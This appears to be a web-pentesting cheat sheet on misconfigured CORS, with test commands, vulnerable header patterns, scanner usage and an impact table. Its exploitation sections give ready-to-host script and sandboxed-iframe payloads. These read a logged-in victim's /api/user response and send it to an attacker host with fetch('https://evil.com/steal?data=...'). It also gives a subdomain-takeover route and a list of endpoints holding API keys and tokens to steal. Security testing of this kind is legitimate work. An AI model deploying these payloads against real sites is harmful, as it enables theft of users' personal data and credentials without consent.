Skip to main content

​
Overview

Cross-Origin Resource Sharing (CORS) controls which origins can access resources. Misconfigured CORS headers allow attacker’s site to read responses from victim’s authenticated session.

​
Key Headers

HeaderDescription
Access-Control-Allow-OriginAllowed origin
Access-Control-Allow-CredentialsAllow cookies/auth
Access-Control-Allow-MethodsAllowed HTTP methods
Access-Control-Allow-HeadersAllowed headers
Access-Control-Expose-HeadersHeaders readable by JS
Access-Control-Max-AgePreflight cache time

​
Detection

​
Check Headers

curl -s -I -H "Origin: https://evil.com" https://TARGET/api/user
Look for: 
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
If your origin is reflected back with credentials → exploitable.

​
Variations to Test

# Reflected origin
curl -s -I -H "Origin: https://evil.com" TARGET

# Null origin
curl -s -I -H "Origin: null" TARGET

# Subdomain
curl -s -I -H "Origin: https://sub.TARGET" TARGET

# Prefixed domain
curl -s -I -H "Origin: https://TARGETevil.com" TARGET

# Suffixed domain
curl -s -I -H "Origin: https://evil-TARGET" TARGET

​
Vulnerable Configurations

​
1. Origin Reflection

Server reflects any Origin header back. 
Request:  Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
          Access-Control-Allow-Credentials: true

​
2. Null Origin Allowed

Request:  Origin: null
Response: Access-Control-Allow-Origin: null
          Access-Control-Allow-Credentials: true
Triggered from sandboxed iframes, data URIs, local files.

​
3. Weak Regex

Server checks if origin contains target domain: 
evil.com.TARGET.com     → Allowed (prefix match)
TARGET.evil.com         → Allowed (contains target)
TARGETevil.com          → Allowed (substring match)

​
4. Wildcard with Credentials

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browsers block this combo, but some frameworks handle it incorrectly.

​
5. Pre-Domain Wildcard

*.TARGET.com → Any subdomain allowed
If attacker has XSS on any subdomain → can exploit CORS.

​
Exploitation — Origin Reflection

<script>
var req = new XMLHttpRequest();
req.onload = function() {
    // Send victim's data to attacker
    fetch('https://evil.com/steal?data=' + encodeURIComponent(this.responseText));
};
req.open('GET', 'https://TARGET/api/user', true);
req.withCredentials = true;
req.send();
</script>
Host on https://evil.com → victim visits → their authenticated data sent to attacker.

​
Exploitation — Null Origin

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,<script>
    var req = new XMLHttpRequest();
    req.onload = function() {
      fetch('https://evil.com/steal?data=' + encodeURIComponent(this.responseText));
    };
    req.open('GET', 'https://TARGET/api/user', true);
    req.withCredentials = true;
    req.send();
  </script>">
</iframe>
Sandboxed iframe sends Origin: null.

​
Exploitation — Subdomain Takeover + CORS

If *.TARGET.com is allowed and an unused subdomain exists:
  1. Take over unused.TARGET.com (dangling CNAME, cloud service)
  2. Host exploit on unused.TARGET.com
  3. CORS allows it → read authenticated responses

​
Data to Steal

EndpointData
/api/userPII, email, role
/api/accountAccount details, API keys
/api/settingsConfig, tokens
/api/adminAdmin data
/api/keysAPI keys, secrets

​
Automation

​
Nuclei

nuclei -t http/vulnerabilities/cors/ -l urls.txt

​
Manual Script

while read url; do
    origin=$(curl -s -I -H "Origin: https://evil.com" "$url" | grep -i "access-control-allow-origin")
    creds=$(curl -s -I -H "Origin: https://evil.com" "$url" | grep -i "access-control-allow-credentials")
    if [[ "$origin" == *"evil.com"* ]] && [[ "$creds" == *"true"* ]]; then
        echo "[VULN] $url"
    fi
done < urls.txt

​
Corsy

# https://github.com/s0md3v/Corsy
python3 corsy.py -u https://TARGET
python3 corsy.py -i urls.txt -t 20

​
Impact Matrix

ConfigCredentialsImpact
Reflected origintrueCritical — full data theft
Null allowedtrueHigh — iframe exploitation
Weak regextrueHigh — register lookalike domain
Wildcard *falseLow — no auth data accessible
Subdomain wildcardtrueMedium — needs subdomain XSS/takeover

​
Quick Reference

TestCommand
Check reflectioncurl -I -H "Origin: https://evil.com" TARGET
Check nullcurl -I -H "Origin: null" TARGET
ExploitHost JS that reads /api/user with withCredentials
Toolcorsy.py -u TARGET

​
Sources